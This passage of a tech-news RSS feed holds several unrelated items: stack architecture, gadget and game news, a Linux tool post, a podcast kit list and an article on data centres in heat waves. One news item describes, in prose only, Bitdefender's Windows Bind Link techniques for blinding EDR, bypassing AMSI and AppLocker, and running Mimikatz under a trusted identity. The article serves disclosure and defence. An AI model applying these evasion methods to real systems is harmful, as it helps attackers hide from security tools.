<h2 class="wp-block-heading">Firestore: the datastore</h2>



<p class="wp-block-paragraph">Firestore is an extremely lightweight, NoSQL, cloud datastore. It has a great deal of add-on power, but its core value proposition is that it accepts virtually any data you stuff into it and it provides event-driven subscriptions to data changes.</p>



<p class="wp-block-paragraph">These two capabilities together make Firestore about as straightforward a solution to a managed back end as you can imagine. You subscribe to collections or even fields and then you simply stick “unstructured” data (read: JSON with variable fields) in and the client waits for the changes it is interested in.</p>



<p class="wp-block-paragraph">This is so streamlined that one can just point the browser (or native mobile app) directly at Firestore and listen for events. Which immediately raises the question of identity, for auth and for data visibility, but hold on—Firestore’s third superpower is that it has an authentication module <em>that actually works. </em>What I mean is, it is actually pretty simple and yet confidently secures your app.</p>



<p class="wp-block-paragraph">Sometimes auth solutions seem either too simple (and yet opaque) or too mired in the nitty gritty. <a href="https://docs.cloud.google.com/firestore/native/docs/authentication" data-type="link" data-id="https://docs.cloud.google.com/firestore/native/docs/authentication">Firestore auth</a> will let you do some basic configuration and start using a reasonable auth almost immediately. </p>



<p class="wp-block-paragraph">Not to belabor the point, but having a realistic and attainable auth solution elevates your stack to a production grade—one that can handle many real-world applications. Firestore auth plays nicely with other important APIs, like Stripe. Typically, auth is a major feature that feels like off-roading in a Honda Civic, but Firestore’s approach to auth, <em>added to this particular stack</em>, feels like a normal speed bump. It’s just another component you plug in, rather than a tentacled alien you weave into the your code.</p>



<h2 class="wp-block-heading">The limits of the velocity stack</h2>



<p class="wp-block-paragraph">This architecture combines components that are optimized for flexibility. That same character also introduces distinct limitations. Understanding these is essential before committing production workloads.</p>



<h3 class="wp-block-heading">The serverless life cycle</h3>



<p class="wp-block-paragraph">Serverless functions are spun up to handle requests. They close out soon afterward and lose any state. For that reason, they cannot natively hold open persistent WebSockets. If your system requires continuous, sub-millisecond, bidirectional streams—like a real-time multiplayer action game or a high-frequency trading dashboard—pure serverless will fight you all the way. You are forced to introduce a third-party managed WebSocket service to route messages back to your stateless endpoints via HTTP webhooks.</p>



<h3 class="wp-block-heading">The execution time ceiling</h3>



<p class="wp-block-paragraph">Vercel (like all serverless platforms) enforces strict timeouts on operations. While enterprise tiers might grant you up to 15 minutes, standard functions often time out after 10 to 60 seconds. Long-running tasks like video transcoding, database scripts, or orchestrating multi-step AI agent workflows, which might take 20 minutes to resolve, will run up against these limits. Heavy-lifting tasks must be offloaded to a dedicated, long-running service like Google Cloud Run, or broken into smaller, asynchronous chunks via message queues.</p>



<h3 class="wp-block-heading">The cold start reality</h3>



<p class="wp-block-paragraph">While the industry has made massive strides in minimizing initialization times—particularly with lightweight edge networks—traditional Node.js-based serverless functions still experience cold starts. If a function has not been invoked recently, or if traffic spikes require a new instance to spin up concurrently, the first request will take a noticeable latency hit as the container provisions and the code loads.</p>



<h3 class="wp-block-heading">API instead of RAM</h3>



<p class="wp-block-paragraph">In a traditional server environment, you can store transient data in global RAM, allowing subsequent requests to access shared context instantly. In the serverless model, every request might hit a fresh container. Therefore, <em>all</em> shared context must be externalized. Although Firestore serves brilliantly as the state manager, relying on a database for high-frequency, sub-millisecond, ephemeral caching introduces network latency and per-operation costs. That said, using a shared RAM state on a server is non-trivial also, unless you are using a single app server and VM (because high-availability or fail-over requirements will lessen the RAM win on a traditional server).</p>



<h2 class="wp-block-heading">Tuning for velocity and control</h2>



<p class="wp-block-paragraph">Every architectural decision is a trade-off. There are no cost-free choices. By adopting the GitHub, Vercel, and Firestore stack, you are explicitly maximizing feature velocity over fine-grained control.</p>



<p class="wp-block-paragraph">You lose the ability to tweak the underlying operating system, hold open persistent sockets, or run hour-long back-end scripts. In exchange, you gain an architecture that scales from zero to global distribution instantly, requires virtually no devops maintenance, and perfectly absorbs the asynchronous, event-driven realities of modern application development.</p>



<p class="wp-block-paragraph">For the right application—whether it is a fast-moving prototype or an enterprise AI copilot—this stack doesn’t just save time; it fundamentally changes how quickly a small team (or a single person) can impact the market. You stop worrying about build chains, load balancers, and server patches, and you focus on the central mission: shipping features.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Windows Bind Link techniques let attackers evade EDR, security controls]]></title>
<description><![CDATA[Attackers who already have administrator privileges on a Windows machine have newer ways to slip past endpoint security without exploiting a vulnerable driver or modifying trusted binaries.



Bitdefender researchers have warned against three techniques that abuse Windows Bind Links, a legitimate...]]></description>
<link>https://tsecurity.de/de/3670748/it-security-nachrichten/new-windows-bind-link-techniques-let-attackers-evade-edr-security-controls/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670748/it-security-nachrichten/new-windows-bind-link-techniques-let-attackers-evade-edr-security-controls/</guid>
<pubDate>Wed, 15 Jul 2026 15:09:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Attackers who already have administrator privileges on a Windows machine have newer ways to slip past endpoint security without exploiting a vulnerable driver or modifying trusted binaries.</p>



<p class="wp-block-paragraph">Bitdefender researchers have warned against three techniques that abuse Windows Bind Links, a legitimate filesystem virtualization capability, to occupy security tools with clean files while malicious ones execute undetected.</p>



<p class="wp-block-paragraph">The techniques can be used “to blind EDR sensors and bypass built-in Windows defenses such as AMSI and AppLocker,” the researchers said in a blog post shared with CSO ahead of its publication on Wednesday. Dubbed File Binding, Process-Binding, and Silo-Binding, the techniques exploit the way Windows’ Bind Filter driver “bindflt.sys” redirects file paths in memory.</p>



<p class="wp-block-paragraph">While Microsoft reportedly assessed the issues as low severity because exploiting the techniques requires admin privileges, Bitdefender argued its importance by comparing the threat to Bring Your Own Vulnerable Driver (<a href="https://www.csoonline.com/article/3600750/infostealers-are-using-byovd-to-steal-critical-system-data.html">BYOVD</a>) attacks.</p>



<p class="wp-block-paragraph">Microsoft did not immediately respond to CSO’s request for comment.</p>



<h2 class="wp-block-heading"><a></a>Three attack paths from one weakness</h2>



<p class="wp-block-paragraph">Bitdefender’s research focused on Bind Links, a Windows feature designed for legitimate virtualization scenarios such as Windows Sandbox, Windows containers, and Store applications. Bind Links operate entirely within “bindflt.sys,” allowing one file path to transparently resolve to another without creating a visible filesystem object or modifying the original file.</p>



<p class="wp-block-paragraph">Bitdefender demonstrated how attackers can progressively weaponize this capability.</p>



<p class="wp-block-paragraph">The first technique, File-Binding, redirects trusted DLL or file paths to attacker-controlled replacements. The researchers showed PowerShell loading what appeared to be a legitimate amsi.dll, but the Bind Link instead served a malicious DLL that exported identical functions while silently disabling malware scanning.</p>



<p class="wp-block-paragraph">Process-Binding extends the concept to executable files. Here, the researchers said, Windows reports a trusted executable like “winever.exe” is running, while the operating system actually executes another binary, such as cmd.exe. Because many security products rely on executable paths for allowlisting, signatures, and process identity, the mismatch can trick both security policies and analysts.</p>



<p class="wp-block-paragraph">The most sophisticated of the three, Silo-Binding, leverages Windows silos, the isolation technology in Windows containers, to present different filesystem views inside and outside an isolated environment. The researchers demonstrated a potential malware executing inside the silo as a trusted application, while security tools operating outside the silo read them as legitimate files.</p>



<p class="wp-block-paragraph">Bitdefender demonstrated bypasses against <a href="https://www.csoonline.com/article/1311082/north-koreas-lazarus-deploys-rootkit-via-applocker-zero-day-flaw.html">AppLocker</a>, Windows Firewall, Sysmon, and even executed Invoke-Mimikatz under a trusted process identity to evade detection.</p>



<h2 class="wp-block-heading"><a></a>A potential post-compromise attack vector</h2>



<p class="wp-block-paragraph">Addressing Microsoft’s low-severity assessment, the researchers noted these techniques to be effective post-compromise evasion attacks, rather than a remote code execution vulnerability.</p>



<p class="wp-block-paragraph">“Every Windows 10 RS4+ and Windows 11 system is exposed once an attacker has administrator access on it,” they said. “Every AV and EDR that trusts the image-file path returned by standard process-notification routines is affected.”</p>



<p class="wp-block-paragraph">Bitdefender also disclosed a related privilege escalation scenario involving Docker Desktop, where members of the “docker-users” group could leverage Bind Links to reach SYSTEM privileges.</p>



<p class="wp-block-paragraph">Following the disclosure, Docker reportedly updated its documentation to clarify the security implications of the group’s permissions.</p>



<p class="wp-block-paragraph">While Windows 24H2 introduces a veto mechanism that can block bind-link creations, the researchers described it as only a partial mitigation because it is limited to newer systems, applies only in certain scenarios, and can be bypassed.</p>



<p class="wp-block-paragraph">Instead, they recommended resolving the real backing file rather than trusting process paths, revalidating file identity whenever a file is reopened for hashing or scanning, and enumerating active bind-link mappings to detect silo-scoped abuse.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Clean Air on a Budget: How to Find the Right Air Purifier for Any Room video]]></title>
<description><![CDATA[Join JD as he breaks down exactly how to choose the right air purifier for your home without overspending. Learn how to match the perfect unit to your specific room size and air quality goals so you can breathe easier.]]></description>
<link>https://tsecurity.de/de/3670733/it-nachrichten/clean-air-on-a-budget-how-to-find-the-right-air-purifier-for-any-room-video/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670733/it-nachrichten/clean-air-on-a-budget-how-to-find-the-right-air-purifier-for-any-room-video/</guid>
<pubDate>Wed, 15 Jul 2026 15:03:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Join JD as he breaks down exactly how to choose the right air purifier for your home without overspending. Learn how to match the perfect unit to your specific room size and air quality goals so you can breathe easier.]]></content:encoded>
</item>
<item>
<title><![CDATA[Satechi Brings Color-Matched Hubs And Mouse To The MacBook Neo]]></title>
<description><![CDATA[Apple made a few compromises to hit a low starting price for its newest budget laptop. The MacBook Neo ships with just two USB-C ports and a headphone jack, missing standard connections like HDMI or SD card slots. To fix this gap, accessory maker Satechi just dropped a brand new collection of hub...]]></description>
<link>https://tsecurity.de/de/3670272/ios-mac-os/satechi-brings-color-matched-hubs-and-mouse-to-the-macbook-neo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670272/ios-mac-os/satechi-brings-color-matched-hubs-and-mouse-to-the-macbook-neo/</guid>
<pubDate>Wed, 15 Jul 2026 12:10:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple made a few compromises to hit a low starting price for its newest budget laptop. The MacBook Neo ships with just two USB-C ports and a headphone jack, missing standard connections like HDMI or SD card slots. To fix this gap, accessory maker Satechi just dropped a brand new collection of hubs and a wireless mouse designed to perfectly match the four bright finishes of the new computer.



Expand connectivity with the portable OntheGo multiport adapter



The OntheGo 5-in-1 Multiport Adapter connects to the MacBook using a short nylon braided cable. It adds 4K video output at 60Hz, an SD card reader, one USB-A data port, and one USB-C data port. Both data ports support transfers up to five gigabits per second. It also allows up to 60 watts of pass-through charging.



This model includes a magnetic base that can attach to MagSafe iPhones and an adhesive ring that mounts directly to the laptop lid. Satechi notes this adapter also works well with standard MacBook Air models, high end MacBook Pro setups, and any USB-C iPad. It costs $44.99 and comes in Citrus, Blush, Indigo, and Silver.



Snag a clean look with the flush USB-C snap hub



If you want a more integrated design, the USB-C Snap Hub skips the cable entirely. It plugs directly into both of the offset USB-C ports on the side of the computer. The flush design looks incredibly clean and was shaped specifically to fit the unique edges of the new entry-level laptop.



This hub costs $44.99 and offers six connections that can all operate at the same time. You get HDMI output at 4K and 60Hz, USB-A and USB-C data ports, plus both SD and microSD card readers. The pass-through charging is slightly lower on this model, capped at 45 watts.



Complete the setup with a colorful wireless slim mouse



To finish off the matching aesthetic, Satechi released the Slim EX Wireless Mouse for $29.99. It features an aluminum body with quiet click switches and a machined metal scroll wheel. You can connect it to two devices via Bluetooth and a third device using an included wireless receiver.



In a rare move for this category, the mouse uses a rechargeable battery that the user can actually replace.



Instead of picking accessories that clash with the colorful design of your new machine, this collection offers a practical and stylish fix. You can grab all three products right now through Satechi or Amazon to give your budget laptop the exact ports you need for daily work.]]></content:encoded>
</item>
<item>
<title><![CDATA[Madden NFL 27 Arcade Edition Touches Down On Apple Arcade This August]]></title>
<description><![CDATA[Football fans have a new reason to check their devices this August. EA SPORTS is officially bringing Madden NFL 27 Arcade Edition to Apple Arcade on August 6. The popular games franchise is making a big return to mobile, giving players a complete football experience without any cost. It aims to d...]]></description>
<link>https://tsecurity.de/de/3670132/ios-mac-os/madden-nfl-27-arcade-edition-touches-down-on-apple-arcade-this-august/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670132/ios-mac-os/madden-nfl-27-arcade-edition-touches-down-on-apple-arcade-this-august/</guid>
<pubDate>Wed, 15 Jul 2026 11:10:17 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Football fans have a new reason to check their devices this August. EA SPORTS is officially bringing Madden NFL 27 Arcade Edition to Apple Arcade on August 6. The popular games franchise is making a big return to mobile, giving players a complete football experience without any cost. It aims to deliver authentic simulation gameplay featuring current NFL rosters directly to your hands.



The new edition includes complete franchise and quick play modes



Players get a full version of Madden free from ads or in-app purchases. You can jump straight into Quick Play for a fast match or take the reins in Franchise mode. The game uses a weekly story engine to build season-shifting narratives while you manage finances and try to win over the fan base. It tracks real-world NFL performances to update dynamic player ratings throughout the year.



The game offers full controller support across your iPhone, Mac, iPad, and Apple TV. This lets you easily pick up where you left off, whether you are playing at home or taking your team on the road.



More retro football hits join the subscription service this fall



Madden is not the only football title arriving soon. On August 6, Retro Bowl College+ also joins the service, letting you manage one of 250 college teams in an 8-bit style. Following that, NFL Retro Bowl '27 launches on September 3. It introduces a new Gauntlet Mode where players start with limited resources and try to survive a gruelling 15-game win streak.



Apple also rolled out updates for other sports titles. NBA 2K26 Arcade Edition recently added Tyrese Maxey as a Paragon player, while PGA TOUR Pro Golf brought in the Bear's Best Atlanta course.



Adding a heavyweight franchise like Madden shows a clear push to make the subscription service a serious destination for sports fans. With zero microtransactions getting in the way, players finally get a clean, uninterrupted football simulation they can take anywhere.]]></content:encoded>
</item>
<item>
<title><![CDATA[netflector - the only mDNS / SSDP / DIAL / WSD / WoL reflector you will ever need]]></title>
<description><![CDATA[This is a tool that makes all kinds of multicast-based discovery (and casting) work across networks (or VLANs). Full disclosure: I am using Claude Code. There are a lot of AI-sensitive people out there, so I want to be fully transparent this time. This post was not touched by AI, 100% human writt...]]></description>
<link>https://tsecurity.de/de/3669398/linux-tipps/netflector-the-only-mdns-ssdp-dial-wsd-wol-reflector-you-will-ever-need/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669398/linux-tipps/netflector-the-only-mdns-ssdp-dial-wsd-wol-reflector-you-will-ever-need/</guid>
<pubDate>Wed, 15 Jul 2026 04:08:41 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>This is a tool that makes all kinds of multicast-based discovery (and casting) work across networks (or VLANs).</p> <p>Full disclosure: <strong>I am using Claude Code</strong>. There are a lot of AI-sensitive people out there, so I want to be fully transparent this time. This post was not touched by AI, 100% human written :) Having said that, I am an experienced C++ developer (in HFT) and am writing low-level code (including networking) on a daily basis. This is not a vibe-coded project. I have designed this system and I have either written to reviewed all code.</p> <p>With that out of the way, the main motivation behind this project for me was twofold: learn Rust and solve a real problem I have at home. My phone and my TV are in different VLANs, so vanilla multicast discovery does not work. While there are plenty of mDNS reflectors out there, my LG TV uses SSDP and DIAL. In order to cast YouTube from my phone to my TV following needs to happen:</p> <ul> <li>Phone sends M-SEARCH SSDP multicast request which needs to be reflected into TVs VLAN (other reflectors can do that).</li> <li>TV responds with the unicast 200 OK, which needs to be forwarded back to the phone. (can be allowed in firewall, less secure than using this tool).</li> <li>Phone initiates a device discovery TCP connection to TV (can be allowed in firewall, less secure than using this tool).</li> <li>TV replies with the details of its REST endpoint (works fine because established connections are usually allowed anyway).</li> <li>Phone initiates another TCP connection to TV's REST endpoint. The connection must be from the TV's subnet (could be allowed and NAT'ed in firewall).</li> </ul> <p>So, to do this I would need to poke holes in the firewall and configure NAT. Additionally to that, I would still need to run some sort of reflector for SSDP multicast. How do I know? This is what I was doing for a couple of years :)</p> <p>Not anymore. My tool does all that automagically:</p> <ul> <li>It reflects multicast discovery packets (mDNS / SSDP / WSD).</li> <li>It proxies unicast UDP responses (SSDP / WSD).</li> <li>It does NAT for TCP connections (DIAL).</li> <li>It supports MAC filtering (so only specific devices are discoverable).</li> <li>It tolerates network interface re-creation. As long as new interface has the same name - reflection will continue.</li> <li>And as a bonus, it also reflects Wake-on-Lan packets.</li> </ul> <p>It does that with a very low footprint: static Linux binaries are &lt;1MB. Right now it runs on my MikroTik router (as a container) and uses less than 3MB of RAM.</p> <p>Currently I build static binaries for Linux (amd64/arm64/armv7/armv5) and FreeBSD (amd64/arm64), dynamic binaries for macOS (arm64) and a multi-arch Docker image. I will add more platforms on request.</p> <p>I really hope that this project will be useful not only for me :)</p> <p>GitHub: <a href="https://github.com/netflector/netflector">https://github.com/netflector/netflector</a></p> <p>Feedback is welcome.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/s3rgb"> /u/s3rgb </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uwom6f/netflector_the_only_mdns_ssdp_dial_wsd_wol/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uwom6f/netflector_the_only_mdns_ssdp_dial_wsd_wol/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4683: Recording the hallway track]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


Recording Kit


General




Lanyard - HPR - Your Name 


HPR Business Cards - Your email address


HPR Stickers


Pen


A6 Notebook


Android Mobile phone 
OpenCamera






Zoom H2






Zoom H2 Handy Recorder




Set format to be...]]></description>
<link>https://tsecurity.de/de/3669312/podcasts/hpr4683-recording-the-hallway-track/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669312/podcasts/hpr4683-recording-the-hallway-track/</guid>
<pubDate>Wed, 15 Jul 2026 02:02:54 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<h2>
Recording Kit</h2>

<h3>
General</h3>

<ul>

<li>
Lanyard - HPR - Your Name </li>

<li>
HPR Business Cards - Your email address</li>

<li>
HPR Stickers</li>

<li>
Pen</li>

<li>
A6 Notebook</li>

<li>
Android Mobile phone <a href="https://sourceforge.net/projects/opencamera/" rel="noopener noreferrer" target="_blank">
OpenCamera</a>

</li>

</ul>

<h3>
Zoom H2</h3>

<ul>

<li>

<a href="https://en.wikipedia.org/wiki/Zoom_H2_Handy_Recorder" rel="noopener noreferrer" target="_blank">
Zoom H2 Handy Recorder</a>

</li>

<li>
Set format to best and date format to ISO8601</li>

<li>
Replacement Batteries</li>

<li>
Micro USB Cable</li>

<li>
2.5 mm headphones</li>

<li>
3.5 mm Male to Male cable</li>

<li>
3.5 mm earbuds</li>

</ul>

<h3>
Backup 1</h3>

<ul>

<li>

<a href="https://en.wikipedia.org/wiki/SanDisk_portable_media_players#Sansa_Clip" rel="noopener noreferrer" target="_blank">
Sansa Clip</a>

</li>

<li>

<a href="https://en.wikipedia.org/wiki/Rockbox" rel="noopener noreferrer" target="_blank">
Rockbox</a>

</li>

<li>
Remove before flight key fob</li>

<li>
Set format to best and date format to ISO8601</li>

</ul>

<h3>
Backup 2</h3>

<ul>

<li>
Android Mobile phone <a href="https://github.com/Dimowner/AudioRecorder" rel="noopener noreferrer" target="_blank">
AudioRecorder</a>

</li>

<li>
Set format to best and date format to ISO8601</li>

</ul>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4683/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How data centers cope with heat waves]]></title>
<description><![CDATA[Europe is sweltering. The summer of 2026 has seen historic heat waves that have taken a significant toll on infrastructure. In recent weeks, across the continent, problems have been reported in the power grid, telecommunications, and rail transportation. IT infrastructure has not been spared from...]]></description>
<link>https://tsecurity.de/de/3669125/it-security-nachrichten/how-data-centers-cope-with-heat-waves/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669125/it-security-nachrichten/how-data-centers-cope-with-heat-waves/</guid>
<pubDate>Tue, 14 Jul 2026 22:52:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Europe is sweltering. The summer of 2026 has seen historic heat waves that have taken a significant toll on infrastructure. In recent weeks, across the continent, problems have <a href="https://www.bbc.com/news/articles/cj0gez6d50ro" target="_blank" rel="noreferrer noopener">been reported</a> in the power grid, telecommunications, and rail transportation. IT infrastructure has not been spared from the situation.</p>



<p class="wp-block-paragraph">“The heat affects equipment long before anyone notices a problem,” explains Ricardo Román, sales director at Fracttal, in an email. “Every piece of equipment has a temperature range within which it is designed to operate, and when it operates above that range, it begins to degrade silently,” he says. A process of wear and tear begins that will eventually take its toll. With technology, this happens much faster. “In a data center, this effect is amplified because there’s no margin for error,” he notes. When something starts to fail, everything grinds to a halt.</p>



<p class="wp-block-paragraph">In fact, this latest heat wave has already had negative impacts on data centers outside of Spain. In the United Kingdom, high temperatures shut down hospital data centers and <a href="https://www.lavanguardia.com/neo/ia/20260707/11586247/ola-calor-deja-fuera-combate-mayores-superordenadores-ia-1-000-hervidores-agua-funcionando-vez.html" target="_blank" rel="noreferrer noopener">caused</a> the University of Cambridge’s Dawn supercomputer to go offline, as its cooling systems were unable to cope with the temperatures. That’s the crux of the problem. “In IT, heat isn’t a computing problem—it’s a problem of maintaining the assets that support the data center,” explains Román. </p>



<p class="wp-block-paragraph">Heat thus becomes yet another risk for the IT industry and, in particular, for data centers. </p>



<p class="wp-block-paragraph">Temperatures are a clear and growing concern when it comes to corporate risk prevention. “I see it in conversations with clients: In the past, the maintenance team was the one monitoring the temperature in a technical room,” Román says. “Today, management also monitors it, because they know that if that goes down, the service goes down—and behind the service is the end customer,” he adds. Maintenance has gone from being a cost “to a lever for business continuity that no one dares to touch.”</p>



<p class="wp-block-paragraph">As a World Economic Forum analysis warns, we’re experiencing a boom in AI-driven <a href="https://www.computerworld.es/article/4166490/especial-centros-de-datos-2026.html">data centers</a>, but the impact of climate risks on them is being overlooked. Their estimates <a href="https://www.weforum.org/stories/climate-action/data-centres-3-3-trillion-question-heat-cooling/">suggest</a> these risks could result in an additional annual cost of $81 billion by 2035 and $168 billion by 2065. These calculations include all kinds of threats, such as floods or droughts, but most of the impact comes from extreme heat.</p>



<p class="wp-block-paragraph">These projections are confirmed by data from the industry itself: Over the past three years, extreme weather events <a href="https://www.cnbc.com/2026/06/29/ai-data-centers-heatwave-climate-risk-weather.html" target="_blank" rel="noreferrer noopener">have accounted for</a> one-third of the losses incurred by the U.S. division of the data center company Zurich. According to projections by the climate risk analysis firm First Street, 79% of global data centers will face increased risks from extreme weather. MapleCroft estimated in 2025 that 56% of major data centers had a high or very high risk rating for extreme heat, and that <a href="https://www.cio.com/article/4041210/las-olas-de-calor-pueden-poner-en-jaque-a-los-centros-de-datos.html" target="_blank">this figure would rise to 80% by 2080</a>.</p>



<p class="wp-block-paragraph">These percentages cannot be easily extrapolated to Europe in general—and to Spain in particular—as one might think, although they do make the trend clear. Guillermo Benito, CTO of Nabiax, points out during a video call that these studies are based on global samples and thus place significant weight on the capacity of Asia and the United States. “We represent a small percentage there, but that said, all countries will have to adapt. The two major challenges for data centers are energy and cooling,” Benitonotes.</p>



<h2 class="wp-block-heading">Spain: A pioneer in heat?</h2>



<p class="wp-block-paragraph">In late June, French Labor Minister Jean-Pierre Farandou <a href="https://www.france24.com/es/minuto-a-minuto/20260630-francia-quiere-estudiar-el-modelo-espa%C3%B1ol-para-adaptar-la-sociedad-al-calor-extremo" target="_blank" rel="noreferrer noopener">proposed</a> taking a training course in Spain to learn how to prevent high temperatures from paralyzing a country. Although Spain’s climate varies by region, high summer temperatures are common in many areas (though climate change has made them more extreme and frequent in recent years), and the infrastructure of knowledge and solutions that Farandou wanted to learn about has been established. The big question is whether this also applies to data centers. Is Spain better prepared than other European regions?</p>



<p class="wp-block-paragraph">“Heat waves are becoming increasingly intense and frequent. What used to happen once every two years now happens two, three, or four times a year,” Benito says. Speaking from his own experience, he adds: “In Spain, data centers already take these factors into account.” When it comes to redundancy, monitoring, or maintenance, these factors are already factored in. “It’s not like it’s an unforeseen event. It’s already been taken into account, and we build in a lot of redundancy—a wide safety margin,” he says.</p>



<p class="wp-block-paragraph">The difference compared to central or northern Europe is that some haven’t considered this possibility. Benito points out that the same thing happens with homes. “For many years, they’ve been designing with two assumptions: that they have plenty of water because their climates are humid, and that it never gets hot,” he says. And this is a problem, because their summer temperatures have risen significantly during extreme heat waves. “Temperatures in the UK have gone up by 10 or 15 degrees, and their data centers aren’t prepared for that,” he says. In fact, he shares an anecdote about “a certain hyperscaler that, a few years ago, when its data centers in the United Kingdom went down, held a global conference to figure out how this had happened and draw lessons from it.” The curious thing is that what they learned was something that was already well known in Spain.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/ismail-enes-ayhan-lVZjvw-u9V8-unsplash.jpg?quality=50&amp;strip=all&amp;w=1024" alt="centro de datos" class="wp-image-4094600" width="1024" height="589" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">İsmail Enes Ayhan | Unsplash</p></div>



<p class="wp-block-paragraph">It was already getting hot in southern Europe, and preparations were needed. Now, temperatures are becoming a topic of conversation outside the region, and climate change has made its way into IT strategy. Benito confirms that, yes, the conversation is more visible in global settings. “For several reasons. The first is because, obviously, it affects operations. Another is the market. Customers also demand that you address this.” Before, the focus was on power capacity and square meters. Now, the expert points out, people are asking where the electricity comes from and whether it’s clean, and they’re demanding emissions guarantees. The sector is making significant investments to become sustainable, he argues.</p>



<p class="wp-block-paragraph">Beyond consumption data and the improvements that can be made, the big question is whether these high temperatures are already impacting decision-making—whether decisions on where to locate data centers (or not) are already being made with heat in mind.</p>



<p class="wp-block-paragraph">Industry representatives explain that while the climate can have an impact and is already taken into account when deciding where to locate a data center, it is not yet the sole factor or the most decisive one. In other words, many other factors must be considered, and these carry much more weight in the decision-making process. One such factor is energy, which is essential for these infrastructures and must be constant, resilient, and have a low carbon footprint. It is also an area where cooling plays a major role. As Román points out, cooling can account for between 30 and 40% of energy consumption, “and in poorly managed facilities, that figure approaches 50%.” Energy efficiency and cooling efficiency are thus essential—and not just for sustainability reasons. “It’s a matter of the bottom line.”</p>



<p class="wp-block-paragraph">Another factor is space. As Benito says, you need “stable locations where you can grow.” This isn’t just about whether the infrastructure <em>fits</em>, but also about how it aligns with the needs of its customers. As this expert points out, the concentration of data centers near Madrid or Barcelona isn’t “just a whim,” but because you need to be close to large population centers to provide them with low latency. “Other supercomputing applications can be located farther away, and that’s already happening,” he explains, but generally speaking, you can’t just put data centers anywhere. You have to strike a balance between needs and available space.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"></blockquote>



<h2 class="wp-block-heading">How to survive the heat</h2>



<p class="wp-block-paragraph">So, how can we survive the heat, especially when projections suggest that the future will bring even higher temperatures? The key is to understand that this is no longer a curiosity or an occasional incident. As Román points out, air-conditioning systems are running longer and longer. What worked 10 years ago will now barely suffice—it’s “pushed to its limits.” “Heat is shifting from being an August blip to a variable that must be monitored year-round. One you endure; the other you manage.”</p>



<p class="wp-block-paragraph">“By the time the room’s thermometer rises, it’s already too late. What you need to monitor isn’t the room—it’s the equipment—and you have to do it sooner,” he says. Román recommends a three-step strategy. First, don’t measure the environment; instead, measure the equipment and its variations in temperature, vibrations, and energy consumption. Next, take action on any deviations: Don’t wait for a failure, but instead act on early indicators that things aren’t normal. And finally, keep a comprehensive record of historical data, which will be key to anticipating issues and learning from them. “And here I’m going to be honest, because this is what I see every day: The technology to do all this already exists and isn’t expensive,” he asserts. “Many critical facilities are still managed using an Excel spreadsheet and the memory of a technician who’s been there for twenty years,” he warns. And that’s a problem.</p>



<p class="wp-block-paragraph">In the specific case of data centers, Spain has done its homework. The high temperatures (which exceeded those recorded in the United Kingdom, where some data centers did shut down) did not bring them to a halt during this heat wave.</p>



<p class="wp-block-paragraph">Unlike what might happen in other countries, Spain has optimized its cooling systems to be efficient and sustainable, as Benito explains, noting that the country must also contend with water stress. “In other countries, I can use water and let it evaporate as I please because I know it’s going to rain again—or at least that was the case until recently. In Spain, we’ve known for a long time that this isn’t the case,” he says. That’s why we work with closed-loop systems. “Most of us operators don’t use any water,” he says. The same water, mixed with certain cooling agents, circulates continuously. “Once the loop is filled, we don’t lose a single drop,” he asserts.</p>



<p class="wp-block-paragraph">What this expert is now seeing at international conferences is that in other countries where water wasn’t an apparent problem, people are starting to talk about working this way—”as a technical innovation.” “That’s where we say, ‘Yes, just like the ones we have in Spain or Portugal,’” he remarks with a touch of humor. “Water, like energy, is a challenge,” he says, so everything has already been designed with that in mind. It isn’t wasted, it doesn’t evaporate, and it isn’t consumed, he says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
